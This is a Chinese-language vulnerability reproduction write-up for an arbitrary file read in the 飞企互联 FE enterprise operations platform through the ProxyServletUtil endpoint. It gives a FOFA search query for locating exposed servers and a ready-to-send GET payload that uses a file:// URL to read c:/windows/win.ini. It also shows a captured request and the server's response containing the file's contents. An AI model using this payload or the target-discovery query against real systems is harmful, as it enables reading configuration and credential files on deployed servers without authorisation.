F1-10飞企互联-FE企业运营管理平台-任意文件读取

漏洞描述：

飞企互联 FE 业务协作平台 ProxyServletUti 接口存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="FE-协作平台"

漏洞复现：

payload：

```
GET /ProxyServletUti%6c?url=file:///c:/windows/win.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:
读取c:/windows/win.ini


Request
数据包扫描
美化
热加载
构造请求
GET /ProxyServletUti%6c?url=file:///c:/windows/win.ini HTTP/1.1
Host :
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
Responses
92bytes / 58ms
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FF9BA3172F0415512B
Content-Type: content/unknown
Date: Tue, 16 Apr 2024 04:42:23 GMT
Connection: close
Content-Length: 92
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1